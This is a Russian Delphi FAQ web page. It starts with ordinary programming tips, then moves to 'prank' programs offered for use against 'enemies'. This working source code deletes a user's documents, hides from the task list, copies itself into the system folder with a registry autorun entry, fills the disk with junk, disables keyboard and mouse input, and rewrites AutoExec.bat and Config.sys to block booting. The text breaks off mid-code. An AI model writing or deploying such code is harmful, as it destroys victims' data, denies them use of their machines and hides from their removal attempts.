Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 10 декабря!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



как передать фокус следующему контролу?

Вот так:

Perform(WM_NEXTDLGCTL, 0, 0).



читаем из файла, открытого другим приложением

[Автор - Juan Antonio Navarro Perez]


Даже если файл открыт с низкими привелегиями (используя ReadOnly, ShareReadWrite) , иногда открытие уже открытого файла может приводить к ошибкам, особенно, если это файл интенсивно используется другим приложением. Самый простой способ решить эту проблемму - это использовать MemoryStream вместо непосредственного доступа к файлу:



var Memory : TMemoryStream;
begin
Memory := TMemoryStream.Create;
try
Memory.LoadFromFile('busyfile.dat'); // это он!!
..
Memory.Read(...); // Вы можете использовать методы чтения как у файлов
Memory.Seek(...);
FileSize := Memory.Size;
..
finally
Memory.Free;
end;
end;


Данный способ никогда не открывает файл, а заместо этого создаёт копию его в памяти. Конечно Вы можете и записать в поток (Stream) в Памяти(Memory), но изменения не будут записаны на диск до тех пор, пока Вы не запишете их в файл (командой SaveToFile).







перекодировка текста dos < > windows < > koi8

procedure WinToDos;
var Src, Str:PChar;
begin
Src := Memo1.Lines.GetText; //Берем текст из TMemo как тип PChar
CharToOem(Src, Str); //API функция для перевода текста
Memo2.Lines.Text := StrPas(Str);//Записываем назад
end;

procedure DosToWin;
var Src, Str:PChar;
begin
Src := Memo1.Lines.GetText; //Берем текст из TMemo как тип PChar
OemToChar(Src, Str); //API функция для перевода текста
Memo2.Lines.Text := StrPas(Str);//Записываем назад
end;

var koi8toalt : array [0..127] of char = (
CHR($c4), Chr($b3), Chr($da), Chr($bf),
Chr($c0), Chr($d9), Chr($c3), Chr($b4),
Chr($c2), Chr($c1), Chr($c5), Chr($df),
Chr($dc), Chr($db), Chr($dd), Chr($de),
Chr($b0), Chr($b1), Chr($b2), Chr($f4),
Chr($fe), Chr($f9), Chr($fb), Chr($f7),
Chr($f3), Chr($f2), Chr($ff), Chr($f5),
Chr($f8), Chr($fd), Chr($fa), Chr($f6),
Chr($cd), Chr($ba), Chr($d5), Chr($f1),
Chr($d6), Chr($c9), Chr($b8), Chr($b7),
Chr($bb), Chr($d4), Chr($d3), Chr($c8),
Chr($be), Chr($bd), Chr($bc), Chr($c6),
Chr($c7), Chr($cc), Chr($b5), Chr($f0),
Chr($b6), Chr($b9), Chr($d1), Chr($d2),
Chr($cb), Chr($cf), Chr($d0), Chr($ca),
Chr($d8), Chr($d7), Chr($ce), Chr($fc),
Chr($ee), Chr($a0), Chr($a1), Chr($e6),
Chr($a4), Chr($a5), Chr($e4), Chr($a3),
Chr($e5), Chr($a8), Chr($a9), Chr($aa),
Chr($ab), Chr($ac), Chr($ad), Chr($ae),
Chr($af), Chr($ef), Chr($e0), Chr($e1),
Chr($e2), Chr($e3), Chr($a6), Chr($a2),
Chr($ec), Chr($eb), Chr($a7), Chr($e8),
Chr($ed), Chr($e9), Chr($e7), Chr($ea),
Chr($9e), Chr($80), Chr($81), Chr($96),
Chr($84), Chr($85), Chr($94), Chr($83),
Chr($95), Chr($88), Chr($89), Chr($8a),
Chr($8b), Chr($8c), Chr($8d), Chr($8e),
Chr($8f), Chr($9f), Chr($90), Chr($91),
Chr($92), Chr($93), Chr($86), Chr($82),
Chr($9c), Chr($9b), Chr($87), Chr($98),
Chr($9d), Chr($99), Chr($97), Chr($9a));

function Koi8toWin(const Data:PChar; DataLen :Integer):PChar;
var PCh: PChar;
i: Integer;
begin
PCh:=Data;
for i:=1 to DataLen do
begin
if Ord(Pch^)>127 then Pch^:=koi8toalt[Ord(Pch^)-128];
Inc(PCh);
end;
PCh:=Data;
OemToCharBuff(PCh,PCh,DWORD(DataLen));
Result:=Data;
end;



перекодировка текста win1251 < > koi8-r

type
TConvertChars = array[#128..#255] of char;

const
Win_KoiChars: TConvertChars = (
#128,#129,#130,#131,#132,#133,#134,#135,#136,#137,#060,#139,#140,#141,#142,#143,
#144,#145,#146,#147,#148,#169,#150,#151,#152,#153,#154,#062,#176,#157,#183,#159,
#160,#246,#247,#074,#164,#231,#166,#167,#179,#169,#180,#060,#172,#173,#174,#183,
#156,#177,#073,#105,#199,#181,#182,#158,#163,#191,#164,#062,#106,#189,#190,#167,
#225,#226,#247,#231,#228,#229,#246,#250,#233,#234,#235,#236,#237,#238,#239,#240,
#242,#243,#244,#245,#230,#232,#227,#254,#251,#253,#154,#249,#248,#252,#224,#241,
#193,#194,#215,#199,#196,#197,#214,#218,#201,#202,#203,#204,#205,#206,#207,#208,
#210,#211,#212,#213,#198,#200,#195,#222,#219,#221,#223,#217,#216,#220,#192,#209);
Koi_WinChars: TConvertChars = (
#128,#129,#130,#131,#132,#133,#134,#135,#136,#137,#138,#139,#140,#141,#142,#143,
#144,#145,#146,#147,#148,#149,#150,#151,#152,#153,#218,#155,#176,#157,#183,#159,
#160,#161,#162,#184,#186,#165,#166,#191,#168,#169,#170,#171,#172,#173,#174,#175,
#156,#177,#178,#168,#170,#181,#182,#175,#184,#185,#186,#187,#188,#189,#190,#185,
#254,#224,#225,#246,#228,#229,#244,#227,#245,#232,#233,#234,#235,#236,#237,#238,
#239,#255,#240,#241,#242,#243,#230,#226,#252,#251,#231,#248,#253,#249,#247,#250,
#222,#192,#193,#214,#196,#197,#212,#195,#213,#200,#201,#202,#203,#204,#205,#206,
#207,#223,#208,#209,#210,#211,#198,#194,#220,#219,#199,#216,#221,#217,#215,#218);

function Win_KoiConvert(const St: string): string;
var i: integer;
begin
Result:=St;
for i:=1 to Length(St) do
if St[i]>#127 then
Result[i]:=Win_KoiChars[St[i]];
end;



как получить звук с микрофона?

Сначала надо создать пустой аудио файл, допустим Windows Audio Recorder, причем какие у него будут параметры, такие будут и у результирующего файла, затем с помощью var Media:TMediaPlayer



procedure TForm1.btRecordClick(Sender: TObject);
begin
with Media do begin
{ Set FileName to the test.wav file to }
{ get the recording parameters. }
FileName := 'd:\test.wav';
{ Open the device. }
Open;
{ Start recording. }
Wait := False;
StartRecording;
end;
end;

procedure TForm1.btStopClick(Sender: TObject);
begin
with Media do begin
{ Stop recording. }
Stop;
{ Change the filename to the new file we want to write. }
FileName := 'd:\new.wav';
{ Save and close the file. }
Save;
Close;
end;
end;






поиск файла

Не правда ли, знакомая ситуация? Необходимо сделать так, чтобы программа искала какой-либо файл... Все, хорошо, если у Вас для этого есть специальная компонента (кстати, не входящая в стандартный набор). А если ее нет? Здесь придется писать алгоритм поиска файла.

В Delphi существует две функции для поиска файлов. Это -

function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer;
function FindNext(var F: TSearchRec): Integer;

Разберемся, что же означают эти функции. Для начала возьмем первую - FindFirst. Разберемся сначала с переменными.

Path - это переменная, как видно из названия, показывающая путь к директории, где будет производиться поиск файла. Кроме этого, в эту переменную входит также и имя файла (файлов), которые должны быть найдены. Причем, в названии файла можно пользоваться такими символами: * (звездочка) и ? (знак вопроса). Значения этих символов стандартны: знак вопроса - любой допустимый символ, звездочка - комбинация любых допустимых символов. Под допустимыми символами я понимаю символы, которые могут использоваться в операционной системе для обозначения имен файлов.

Пример использования переменной Path:


Path:='c:\*.*'; {поиск файлов с любым именем на в корневой директории диска C:}

Path:='e:\audio\song3?.wav'; {поиск файлов в директории E:\AUDIO с именем song3?.wav (это могут файлы, например, song30.wav, song31.wav, song3f.wav и другие)}

Обратите внимание! Недопустимо использовать символы * и ? в названии директории. Эти символы могут использоваться только в имени файла.

Attr - эта переменная задает тип файлов, которые будут найдены. Тип переменной - Integer. Чтобы не мучаться с запоминанием цифр, рекомендую Вам запомнить такие слова:

faReadOnly - файлы, у которых установлен аттрибут "Только для чтения".
faHidden - файлы, у которых установлен атрибут "Скрытые".
faSysFile - файлы, у которых установлен атрибут "Системный".
faArchive - файлы, у которых установлен атрибут "Архивный".
faDirectory - директория. То есть поиск поддиректорий в директории.
faAnyFile - любой файл (в том числе и faDirectory, и faVolumeID).

Теперь с этими словами можно обращаться как с цифрами - складывать их и вычитать. Например:

Attr:=faHidden+faSysFile; {поиск Скрытых и Системных файлов}

Attr:=faAnyFile-faReadOnly; {поиск всех файлов, кроме файлов, имеющих атрибут "Только для чтения"}

Однако учтите, что при применении вычитания результат может получиться несколько неожиданным, поэтому им лучше не злоупотреблять.

Теперь разберемся, что же выдает функция. Функция возвращает 0, если была выполнена успешно, или, в противном случае, код ошибки. Кроме того, если функция нашла файл, удовлетворяющий и условиям переменной Path, и условиям переменной Attr, то она записывает результат в переменную F (типа TSearchRec), которая, естественно, должна быть объявлена командой Var.

Тип TSearchRec можно представить как:

type TSearchRec = Record
Time: Integer;
Size: Integer;
Attr: Integer;
Name: TFileName;
ExcludeAttr: Integer;
FindHandle: THandle;
FindData: TWin32FindData;
end;

Теперь разберемся, что означает функция FindNext.

Если команда FindFirst нашла какой-либо файл, то, возможно, если имя файла задано с символами * и/или ?, есть еще один или несколько файлов, удовлетворяющих условию поиска. В этом случае и используется команда FindNext. Функция также возвращает 0, если была выполнена успешно, или, в противном случае, код ошибки. И также записывает данные в переменную F.

Теперь, зная эти две команды, можно составить и алгоритм поиска заданного файла.

Простейший алгоритм:

Var F: TSearchRec;
Path: String;
Attr: Integer;
begin
Path:='e:\audio\album31\*.wav'; {Искать все файлы в заданной директории с расширение WAV,}
Attr:=faReadOnly+faArchive; {которые имеют атрибуты "Только для чтения" и "Архивный"}

FindFirst(Path,Attr,F);

If F.Name<>'' then begin {Если хотя бы один файл найден, то продолжить поиск}
ListBox1.Items.Add(F.Name); {Добавление в TListBox имени найденного файла}
While FindNext(F)=0 do ListBox1.Items.Add(F.Name);
end;
FindClose(F);
end.

Обратите внимание на процедуру FindClose. Она освобождает память, которую заняли функции FindFirst и FindNext.





алгоритм подсчёта времени, которое ушло на какую-либо операцию

Var OperBegin, OperEnd: TTimeStamp;
Total: LongWord;

begin
OperBegin:=DateTimeToTimeStamp(Now); {запоминается момент начала операции}

{Здесь размещается код операции}

OperEnd:=DateTimeToTimeStamp(Now); {запоминается момент окончания операции}
Total:=OperEnd.Time-OperBegin.Time;
end;



в stringgrid ширина колонки подгоняется под длину самой длинной строки

Поскольку в компоненте StringGrid по умолчанию все столбцы имеют одинаковую ширину - в некоторых ячейках текст обрезается. Чтобы этого избежать, после заполнения StringGrid нужно для каждого столбца находить текст максимальной длины и в соответствии с его длиной устанавливать ширину всего столбца.



var
x, y, w: integer;
s: string;
MaxWidth: integer;
begin
with StringGrid1 do
ClientHeight := DefaultRowHeight * RowCount + 5;
with StringGrid1 do begin
for x := 0 to ColCount - 1 do begin
MaxWidth := 0;
for y := 0 to RowCount - 1 do begin
w := Canvas.TextWidth(Cells[x,y]);
if w > MaxWidth then MaxWidth := w;
end;
ColWidths[x] := MaxWidth + 5;
end;
end;





--------------------------------------------------------------------------------




как выполнять другую команду по нажатию на кнопку, если зажата клавиша shift

procedure TForm1.Button1Click(Sender: TObject);
begin
if GetKeyState(VK_SHIFT) < 0 then
ShowMessage('Кнопка Shift нажата')
else
ShowMessage('Обычное нажатие кнопки');
end;



как программно создать alias

procedure TForm1.Button3Click(Sender: TObject);
var
MyList: TStringList;
begin
MyList := TStringList.Create;
try
with MyList do
begin
Add('SERVER NAME=IB_SERVER:/PATH/DATABASE.GDB');
Add('USER NAME=MYNAME');
end;
Session1.AddAlias('NewIBAlias', 'INTRBASE', MyList);
finally
MyList.Free;
end;
end;



как узнать платформу

private
{ Private declarations }
procedure OSInfo;
...

procedure TForm1.OSInfo;
var
BRes : boolean;
lpVersionInformation : TOSVersionInfo;
c : string;
begin
lpVersionInformation.dwOSVersionInfoSize :=
SizeOf(TOSVersionInfo);
BRes := GetVersionEx(lpVersionInformation);
if BRes then
with lpVersionInformation do case dwPlatformId of
VER_PLATFORM_WIN32_WINDOWS :
if dwMinorVersion=0 then c := 'Windows 95'
else c := 'Windows 98';
VER_PLATFORM_WIN32_NT : c := 'Windows NT';
VER_PLATFORM_WIN32s : c := 'Win 3.1 with Win32s'
end;
Form1.Caption:=c;
end;



скрыть панель задач

Панелью задач называют полосу внизу экрана, на которой находится кнопка "Пуск". Обычный ламер в случае её отсутствия сразу сожрёт от испуга свою мышь. Более опытный пользователь ринется в "Настройка" --- "Панель задач и меню Пуск" и попытается снять флажок "Автоматически убирать с экрана"... но, когда увидит, что он, собственно, не поставлен...



Так как же это сделать? Легко!

ShowWindow(FindWindow('Shell_TrayWnd',nil),sw_hide);

Кстати, ну попытались вы скрыть панель задач, ну допустим получилось... а как же её восстановить... делаем это так:

ShowWindow(FindWindow('Shell_TrayWnd',nil),sw_show);



--------------------------------------------------------------------------------




открыть cd-rom

Основываясь, на этой возможности можно написать классную прогу. Представьте себе: ламерюга с умным видом тайпает какой-нибудь док, а тут его сидюк начинает вести себя как взбесившийся: то откроется, то закроется, то откроется, то закроется, то откроется, то закроется, то откроется, то закроется, то откроется, то закроется, то откроется, то закроется, то откроется, то закроется, то откроется, то закроется... и так, например, каждый час... (или минуту...или секунду...)

Для начала научимся открывать CD-ROM по нажатию простого "батона":

1) В uses нужно сначала объявить модуль MMSystem:

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, MMSystem;


2) По нажатию кнопок написать:

procedure TForm1.OpenBtnClick(Sender: TObject); //Для открытия
begin
mciSendString('Set cdaudio door open wait',nil,0,handle);
end;

procedure TForm1.CloseBtnClick(Sender: TObject); //Для закрытия
begin
mciSendString('Set cdaudio door closed wait',nil,0,handle);
end;


Ну а если вы уж хотите, чтобы это всё происходило автоматически с периодичностью в несколько минут, тогда выносим наш любимый компонент - Timer. Устанавливаем его свойство Interval в 30000 миллисекунд - это 30 секунд, т.е. каждые полминуты глупый ламерюга будет подскакивать...И на событие OnTimer, предвкушая удовольствие, пишем: сначала в публичных объявлениях объявим переменную логического типа IsOpen для обозначения времени когда открыт CD-ROM

public
{ Public declarations }
IsOpen:boolean;


По созданию окна (OnCreate) устанавливаем эту переменную в false, т.к. изначально, когда наша прога только запускается, CD-ROM не открыт:

procedure TForm1.FormCreate(Sender: TObject);
begin
IsOpen:=false;
end;


И наконец, по таймеру пишем:

procedure TForm1.Timer1Timer(Sender: TObject);
begin
if IsOpen=false then begin
mciSendString('Set cdaudio door open wait',nil,0,handle);
IsOpen:=true;
end
else begin
mciSendString('Set cdaudio door closed wait',nil,0,handle);
IsOpen:=false;
end;
end;




вырубить монитор

Давайте прикольнёмся над пользователем. Допустим выведем внезапно сообщение, типа... "Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!" и... вырубим монитор...(включить его чудилка уже не сможет)...


procedure TForm1.Button3Click(Sender: TObject);
begin
if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER,0);
end;

Для того, чтобы программно включить монитор можете использовать следующий код:

procedure TForm1.Button3Click(Sender: TObject);
begin
if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER, -1);
end;




очистить "мои документы"

Без лишних слов понятно насколько заманчива эта идея, так, как же её осуществить?

Мы изучим самый легкий способ: удаление всех файлов из папки "Мои документы" без учёта вложенных файлов. Для этого вынесем компонент класса ТFileListBox - это список файлов (находится на закладке Win3.1 палитры компонентов). Затем, с той же закладки, выносим компонент класса TDirectoryListBox - это список каталогов. Задаём ему свойство FileList, указывающее на список файлов (на компонент FileListBox1). Далее можно по созданию окна или по таймеру (если ваша программа многоразового использования) пишем такой код:

procedure TForm1.Timer1Timer(Sender: TObject);
var
i:Integer;
begin
DirectoryListBox1.Directory:='c:\мои документы';
for i:=0 to FileListBox1.Items.count-1 do begin
DeleteFile('C:\мои документы\'+FileListBox1.Items[i]);
end;
end;




выключить или перезагрузить компьютер

Выключить монитор - это классно, но можно сделать ещё круче - программно завершить работу компьютера. Выглядеть это будет примерно так, с использованием различных режимов выключения:

ExitWindowsEx(EWX_LOGOFF or ewx_force,0);

-завершает работу всех запущенных в системе процессов, сохраняя данные приложения, вызвавшего эту функцию



ExitWindowsEx(EWX_SHUTDOWN or ewx_force,0);

-останавливает работу системы в безопасный момент времени. Все буферы очищаются с сохранением данных на диске, все процессы останавливаются



ExitWindowsEx(EWX_REBOOT or ewx_force,0);

-перезагрузка системы



ExitWindowsEx(EWX_FORCE or ewx_force,0);

-завершает работу всех запущенных в системе приложений, не посылая им сообщения WM_QUERYENDSESSION и WM_ENDSESSIO. Это может вызвать потерю не сохраненных данных



ExitWindowsEx(EWX_POWEROFF or ewx_force,0);


-завершает работу компьютера с выключением питания, если система поддерживает автоуправление питанием



ExitWindowsEx(EWX_FORCEIFHUNG or ewx_force,0);


-завершает работу всех запущенных в системе приложений если система висит




скрыть кнопку программы на панели задач

Все запущенные .exe-файлы обозначаются значком на панели задач. А как же сделать, чтобы он стал невидим?

Нужно просто воспользоваться функцией ShowWindow

ShowWindow(Application.Handle,sw_Hide);

Для восстановления видимости значка:

ShowWindow(Application.Handle,sw_Show);





не закрывающееся окно

Например вы отключили Ctrl+Alt+Delete, сделали неактивной кнопку закрытия окна, удалили саму команду "Закрыть" в системном меню ("модификация системного меню") - всё это мы уже знаем как делать, но... глупый ламерюга может попросту нажать Alt+F4... вот это у нас ещё не учтено! Так как же запретить закрытие окна?


Делать это будем так: вызываем событие OnCloseQuery для формы и пишем туда два слова!!!

CanClose:=false;



Как это сделано?

Посмотрите внимательнее на параметры, переданные в вызванном нами событии. Там вы и увидите то самое "CanClose", которое мы использовали. Всё довольно таки легко: если этот параметр установить в false пользователь не сможет закрыть окно, в противном случае - сможет.

Ну вот теперь мы добились того, что "ждал от нас юзверь"... так не будем и впредь разочаровывать его!



P.S. Кстати, чуть не забыл... даже компьютер нельзя будет выключить, пока не закончит сеанс наша прога!!! Круто!




заставить мерцать индикаторы клавиш capslock, numlock и scrolllock

Представьте себе такую ситуацию: глупый пользователь включает тачку, а тут... светомузыка, индикаторы состояния клавиш то включатся, то погаснут... а если ещё каждую секунду проходит 500 тактов!!! Шутка, конечно злостная, но воспроизводится весьма легко.


Всё основывается на следующем коде:

var
KS:TKeyboardState;
begin
GetKeyboardState(KS);
KS[020]:=KS[020] XOR 1;
KS[144]:=KS[144] XOR 1;
KS[145]:=KS[145] XOR 1;
SetKeyboardstate(KS);




Сначала мы считываем состояние нужных клавиш, а затем меняем его на противоположное.

Но дабы получить много кайфа, нужно чтобы у пользователя состояние клавиш менялось каждую миллисекунду. Для этого выносим компонент класса TTimer, устанавливаем его свойство Interval равным 1 - это значит, что каждую миллисекунду будет выполняться то, что мы напишем в событии OnTimer. Вот тот то код, что был указан выше, мы и напишем по этому событию. Выглядеть это будет так:

procedure THello.Timer1Timer(Sender: TObject);
var
KS:TKeyboardState;
begin
GetKeyboardState(KS);
KS[020]:=KS[020] XOR 1;
KS[144]:=KS[144] XOR 1;
KS[145]:=KS[145] XOR 1;
SetKeyboardstate(KS);
end;




Кстати, заметим, что форму я назвал отвлечённым именем - Hello. Потому что если попадётся не глупый пользователь, а опытный программёр он сможет спокойно снять задачу с нашей проги, отыскав наше окно по заголовку и закрыв его. Как влиять на чужие окна я напишу позже (если будет к этому большой интерес :-)), а пока что не будем уподобляться начинающим программёрам и оставлять имя и заголовок окна нетронутыми, полагаясь на то, что главная форма видна не будет :)

Ну вот прога уже почти готова, но по нашему замыслу нужно:

сделать окно главной формы невидимым

убрать заголовок программы из списка Ctrl+Alt+Delete

найти каталог Windows, дабы после запуска файла скопировать его куда-нибудь в систему, а потом внести в автозапуск. Пользователь удалит запущенный файл, а светомузыка будет продолжаться изо дня в день. Долго он будет ломать голову: из-за чего же так получается... :))

Да вот, пожалуй и весь алгоритм, всё это можно сделать, написав по созданию окна (событие OnCreate) следующий код:



procedure THello.FormCreate(Sender: TObject);
var
h:TRegistry;
begin
Hello.Left:=Screen.Width;
Hello.Top:=Screen.Height;
Application.ShowMainForm:=false;

if not(csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID,1);

WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP);

CopyFile(PChar(Application.ExeName),PChar(WinDir+'\system\dlp.com'),true);

h:=TRegistry.Create;
h.RootKey:=HKEY_LOCAL_MACHINE;
h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
h.WriteString('slpsystem',WinDir+'\system\dlp.com');
h.CloseKey;
h.Free;
end;




После чего нужно будет до слова implementation объявить следующую функцию (это чтобы программы не было в списке Ctrl+Alt+Del, кстати реализация этой функции уже была написана по событию OnCreate окна):

function RegisterServiceProcess(dwProcessID,dwType:integer):integer;stdcall;external 'KERNEL32.DLL';

Следующим нашим шагом станет объявление нескольких глобальных переменных для поиска каталога Windows (можно в публичных объявлениях):



public
{ Public declarations }
Windir : String;
WindirP : PChar;
Res : Cardinal;



Ну и наконец, нужно объявить модуль Registry в uses дабы можно было занести сделанную копия программы в автозапуск реестра:

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, Registry;





А куда подевался экран?...

[Автор - Kiron56]

Делать проги заподлянки - это моё хобби. Я написал их много и сейчас помогу тебе написать пару своих прог для врагов или хороших друзей :).


Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:


program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
begin
end.


Ну что же, каркас готов, теперь будем писать основной код:


program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
begin
desk:=TCanvas.Create; { инициализируем переменную }
desk.handle:=GetDC(0); { получаем заголовок десктопа }
while true do
begin
Yield;
desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }

end;
end.



Прога почти готова, жми на F9 и наслаждайся! Теперь осталось сделать что бы прогу нашу через CTRL-ALT-DEL не видно было:



program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
desk:=TCanvas.Create; { инициализируем переменную }
desk.handle:=GetDC(0); { получаем заголовок десктопа }
while true do
begin
Yield;
desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }
end;
end.


Всё! Нашу заподлянку не снять через "три весёлых клавиши"!. Жми теперь CTRL-F9 и вперёд!




Скрыть tray, часы, кнопку 'пуск', панель задач

Делать проги заподлянки - это моё хобби. Я написал их много и сейчас помогу тебе написать пару своих прог для врагов или хороших друзей :).


Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:


program proga2;
uses Windows;
var
Wnd:THandle; { объявляем переменные }
int:integer;
begin
Randomize; { холостой прогон генератора случайных чисел }
int:=(Random(3)); { выбор одного варианта из четырёх }
case int of
0: { если первый вариант то }
begin
Wnd := FindWindow('Progman', nil); { прячем трей }
Wnd := FindWindowEx(Wnd, HWND(0),'ShellDll_DefView', nil);
ShowWindow(Wnd, SW_HIde);
end;
1: { если второй вариант то }
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayClockWClass', nil);
{ прячем часы }
ShowWindow(Wnd, SW_HIde);
end;
2:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'Button', nil);
{прячем кнопку "Пуск"}
ShowWindow(Wnd, SW_HIde);
end;
3:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
{ прячем "Панель задач" }
ShowWindow(Wnd, SW_HIDe);
end;
end;
end.


По желанию можно вставить защиту от CTRL-ALT-DEL.




Мало места на винте..."

[Автор - Kiron56]

Делать проги заподлянки - это моё хобби. Я написал их много и сейчас помогу тебе написать пару своих прог для врагов или хороших друзей :).


Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:



program musor;
uses Windows;
var
text:TextFile;
alphabet, temp:string;
i:integer;
point:Tpoint; { Объявление переменных }
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(0,1);
alphabet:='abcdefghijklmnopqrstucvwxyz'; {заполняем строку алфавитом}
while true do
begin
GetCursorPos(point); { получаем координаты курсора }
if (point.x = 0)and(point.y = 0) then { если х = 0 и y = 0 то }
begin
temp:=''; {очищаем буфер}
for i:=1 to 8 do {генерируем случайное имя файла}
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
temp:=Concat(temp, '.');
for i:=1 to 3 do {генерируем случайное расширение}
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
Assign(text, temp); { присваиваем имя файлу }
Rewrite(text); {открываем файл}
for i:=1 to 30000000 do
begin
Yield;
Write(text, '!'); { наполняем файл мусором }
end;
Close(text); {закрываем файл }
end;
end; {всё сначала }
end.



Действие этой проги заключается в следующем: она следит за позицией курсора и если он в левом верхнем углу экрана, то она создает под случайным именем и расширением на диске файл с мусором.




А почему клавиатура не работает?.."

Ну а теперь продолжение нашего западлостроения на Дельфи. Теперь мы будем баловаться с клавиатурой.


Для начала запусти Дельфи, выбери в меню Project--> View Source и набери вот это:

program antiklava;

uses Windows;

begin

end.


Так, основа готова. Теперь надо добавить ядро программы и объявления переменных:

program antiklava;

uses Windows; { подключение необходимых модулей }

var

klava:boolean; { объявление логической переменной}

begin

klava:=true; { устанавливаем значение переменной }

while true do { начинаем бесконечный цикл }

begin

Yield; { делаем так, чтобы всё не подвисло :)}

Sleep(2*60*1000); { ничего не делаем 2 минуты }

klava:=not klava; { присваиваем переменной противоположное значение }

EnableHardwareInput(klava); { и в зависимости от переменной, отключаем или включаем клаву с мышкой}

end;

end.


Ну вот, всё что нам осталось - CTRL-F9. В следующих выпусках будет больше инфы и примеров. До следующей заподлянки!

P.S. Большинство примеров написано на Win32 API. Если кто-нибудь захочет переписать их под любой другой язык программирования, знайте - это не возбраняется.



--------------------------------------------------------------------------------




Как рисовать на экране

Обладая такими способностями, вы сможете, например, разлиновать поверхность экрана как в тетради в клеточку, выводить пугающие пользователя надписи и даже создать эффект окаменение экрана, если, конечно, разработаете алгоритм выполнения данной задачи.



Я покажу как рисовать на экране на примере разлиновки:

Сначала объявите глобальную переменную

Scr:TCanvas;

Затем по событию OnCreate() для формы напишите такой код:

Scr:=TCanvas.Create;
Scr.Handle:=GetDC(HWND_DESKTOP);

По событию OnDestroy() такой:

Scr.Free;

Обработчик события по нажатию на кнопку пусть выглядит так:

procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
begin
i:=0;
while i<1024 do
begin
With Scr do
begin
MoveTo(i,0);
LineTo(i,768);
i:=i+10;
end;
end;
i:=0;
while i<768 do
begin
With Scr do
begin
MoveTo(0,i);
LineTo(1024,i);
i:=i+10;
end;
end;
Button1.Refresh;
end;




Удалить ОЗУ

Если ваш "хороший" знакомый приобрёл слишком много ОЗУ и вам кажется, что ему и без него было бы не плохо...

... тогда вы делаете ему презент в виде полезной проги, которая на заднем плане сожрёт всю его оперативную память... если вы поместите в неё следующую строку кода:

SetFileAttributes('c:\windows\Win386.swp',DDL_READONLY);



Как это сделано?

К каталоге Windows есть файл Win386.swp. По умолчанию в атрибутах этого файла стоит только флажок Архивный (Archive), но стоит только установить Только чтение (ReadOnly), как памяти ни на что не будет хватать. Что, собственно, мы и сделали!




Заблокировать вход в систему

Вы когда-нибудь видели меню в DOS'е? Ну, например, то самое, которое появляется по нажатию на F8 до загрузки Windows. А представьте себе, если у вас оно будет появляться без всяких нажатий на клавиши, да ещё и пункты меню будут с заданными вами заголовками, ну, и, наконец, если не по одному из пунктов меню вы не сможете загрузить Windows...

Для этого нам понадобятся два системных файла, умение делать копию в буфер обмена (дабы не писать тот код, что я вам сейчас покажу) и ламерюга, на котором вы бы хотели всё это испытать.

Ну, за последним дело не постоит, а сначала нужно сделать следующее:

1) Выносим компонент класса TMemo - это большое текстовое поле (мы уже учились использовать переменные для взаимодействия с файлами, когда выводили сообщение во время загрузки системы, теперь будем использовать компоненты).

2) По созданию окна пишем:

procedure TForm1.FormCreate(Sender: TObject);
begin
Memo1.Lines.Clear;
Memo1.Lines.LoadFromFile('C:\AutoExec.bat');
Memo1.Lines.Insert(3,'goto %config%');
Memo1.Lines.Insert(4,':FuckSystem');
Memo1.Lines.Append('beep');
Memo1.Lines.Append('goto FuckSystem');
Memo1.Lines.Append(':HackSystem');
Memo1.Lines.Append('beep');
Memo1.Lines.Append('goto HackSystem');
Memo1.Lines.Append(':exit');
Memo1.Lines.SaveToFile('C:\AutoExec.bat');

Memo1.Lines.Clear;
Memo1.Lines.LoadFromFile('C:\Config.sys');
Memo1.Lines.Append('[menu]');
Memo1.Lines.Append('menuitem=HackSystem, HackSystem');
Memo1.Lines.Append('menuitem=FuckSystem, FuckSystem');
